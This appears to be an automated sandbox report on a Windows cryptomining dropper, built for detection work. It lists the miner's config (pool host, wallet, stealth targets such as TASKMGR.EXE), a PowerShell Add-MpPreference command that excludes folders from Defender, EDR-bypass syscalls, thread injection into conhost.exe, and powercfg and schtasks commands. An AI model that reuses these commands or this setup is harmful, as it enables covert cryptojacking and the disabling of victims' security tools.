Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: conhost.exe, 00000022.00000002.2615840139.000002B9B44C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: conhost.exe, 00000022.00000002.2615840139.000002B9B4427000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HZTZHP9CUFCWEVHQXZYBPHKBGFBR2QHCMSZ9X" --PASS="" --CPU-MAX-THREADS-HINT=40 --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-STEALTH-FULLSCREEN --CINIT-VERSION="3.1.0" --TLS --CINIT-IDLE-WAIT=1 --CINIT-IDLE-CPU=100 --CINIT-ID="GZSSIANTHTXZDGGZ"]]
Source: conhost.exe, 00000022.00000002.2615840139.000002B9B44C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXECSV
Source: conhost.exe, 00000022.00000002.2615840139.000002B9B4427000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
Source: conhost.exe, 00000022.00000002.2615840139.000002B9B4427000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\SYSTEM32\CONHOST.EXE--ALGO=RX/0--URL=XMR-EU1.NANOPOOL.ORG:10343--USER=456FXIA3DJT9FGZTGXSZZ1CTCYIQQWSGEGW66V9TJ4ZVBXFP8UF1SBNANBHZTZHP9CUFCWEVHQXZYBPHKBGFBR2QHCMSZ9X--PASS=--CPU-MAX-THREADS-HINT=40--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE--CINIT-STEALTH-FULLSCREEN--CINIT-VERSION=3.1.0--TLS--CINIT-IDLE-WAIT=1--CINIT-IDLE-CPU=100--CINIT-ID=GZSSIANTHTXZDGGZ
Source: conhost.exe, 00000022.00000002.2615840139.000002B9B4427000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HZTZHP9CUFCWEVHQXZYBPHKBGFBR2QHCMSZ9X" --PASS="" --CPU-MAX-THREADS-HINT=40 --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-STEALTH-FULLSCREEN --CINIT-VERSION="3.1.0" --TLS --CINIT-IDLE-WAIT=1 --CINIT-IDLE-CPU=100 --CINIT-ID="GZSSIANTHTXZDGGZ"
Source: conhost.exe, 00000022.00000002.2615840139.000002B9B44C4000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000022.00000002.2615840139.000002B9B4427000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 13_2_00007FFAAB424381 str word ptr [eax]

13_2_00007FFAAB424381

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4937	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4917	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6795	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2762	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3624	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1882	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6926
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 498
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6958
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2447
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 2703
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 7296

Source: C:\Program Files\xjfgcnhmcvxy.exe	Dropped PE file which has not been started: C:\Program Files\Google\Libs\WR64.sys			Jump to dropped file
Source: C:\Program Files\xjfgcnhmcvxy.exe	Dropped PE file which has not been started: C:\Windows\Temp\tkfgvduf.tmp			Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep count: 4937 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep count: 4917 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7876	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8108	Thread sleep count: 6795 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8108	Thread sleep count: 2762 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8184	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7472	Thread sleep count: 3624 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7468	Thread sleep count: 1882 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 396	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5748	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 644	Thread sleep count: 6926 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6368	Thread sleep count: 498 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4708	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3088	Thread sleep count: 6958 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7780	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3088	Thread sleep count: 2447 > 30

Source: C:\Windows\System32\conhost.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 00000007.00000002.1421656373.0000026C805C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TMSFT_NetEventVmNetworkAdatper.format.ps1xmll
Source: powershell.exe, 00000015.00000002.1542046596.0000027088D18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000015.00000002.1542046596.0000027088D18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: conhost.exe, 00000022.00000002.2615840139.000002B9B4441000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000022.00000002.2615840139.000002B9B43E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000015.00000002.1542046596.0000027088D18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter

Source: C:\Users\user\Desktop\ahlntQUj2t.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Code function: 0_2_00007FF624AC11DC SetUnhandledExceptionFilter,malloc,	0_2_00007FF624AC11DC
Source: C:\Windows\System32\conhost.exe	Code function: 28_2_00007FF6B1A21180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,malloc,memcpy,_initterm,GetStartupInfoW,	28_2_00007FF6B1A21180
Source: C:\Windows\System32\conhost.exe	Code function: 28_2_00007FF6B1A2A6E9 SetUnhandledExceptionFilter,	28_2_00007FF6B1A2A6E9
Source: C:\Windows\System32\conhost.exe	Code function: 28_2_00007FF6B1A32294 SetUnhandledExceptionFilter,_wgetenv,	28_2_00007FF6B1A32294

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force	Jump to behavior
Source: C:\Program Files\xjfgcnhmcvxy.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force	Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files\xjfgcnhmcvxy.exe	NtQuerySystemInformation: Direct from: 0x7FF723474B7E			Jump to behavior
Source: C:\Users\user\Desktop\ahlntQUj2t.exe	NtQuerySystemInformation: Direct from: 0x7FF624AC4B7E			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Program Files\xjfgcnhmcvxy.exe	Section loaded: NULL target: C:\Windows\System32\conhost.exe protection: readonly			Jump to behavior
Source: C:\Program Files\xjfgcnhmcvxy.exe	Section loaded: NULL target: C:\Windows\System32\conhost.exe protection: readonly			Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Program Files\xjfgcnhmcvxy.exe	Thread register set: target process: 2384			Jump to behavior
Source: C:\Program Files\xjfgcnhmcvxy.exe	Thread register set: target process: 8180			Jump to behavior

Writes to foreign memory regions

Source: C:\Program Files\xjfgcnhmcvxy.exe	Memory written: C:\Windows\System32\conhost.exe base: C0461C7010			Jump to behavior
Source: C:\Program Files\xjfgcnhmcvxy.exe	Memory written: C:\Windows\System32\conhost.exe base: CB2F06C010			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn GQFENPEL	Jump to behavior
Source: C:\Program Files\xjfgcnhmcvxy.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe xcgkmjxjdowq	Jump to behavior
Source: C:\Program Files\xjfgcnhmcvxy.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe gzssianthtxzdggz 6E3sjfZq2rJQaxvLPmXgsBL6xjjYguHWtOpZ+stIdvug8Rp3hiani4Twfqfj5pfOQ4C5/lIR+WrKX/39lFBfrYgVA5xlELaQrgfEYI/1+l+sm6d1wY+jp8lQ+gyInBZtRryf27JkgwVg8+gc8zt/+Qw/FqR21gXGsiWp5M1/PaUO8B8L/yFa9vhQOOMQzU9osOZwr+lVWCnvU0S6ajO3l3PA+IO3tZ+KIHzg9oJDykmRT9FPoLVpg3f2E+S/d4wYAneGaTBaw9u+h7ySSQW4uLa2RdrQlsNvaothGQq4OkU9/7weTT4gwdlFYcJqzkf6CrPgHCU2Z2X/1LqnGA0Z/oGM3RQZ3KFMH6aI6u72Mx/Roo9xz5ogo8pI2aMP1z57eBCyYbXyiGT0rCG540iwNf53KRDw5r+qu9TX7DnABrUnuCbtJtyaOErrfhHdH0mzc3oHhwbzk+xXdFEnj5LezfN80ibSpckaUWKu/Nc8n5n3862TFcZoV3+5pG7wnvACa9eswJk6IY7ANEpRFN9HJzRPurRT3aTK7NgnMwc4gmU=	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic PATH Win32_VideoController GET Name, VideoProcessor

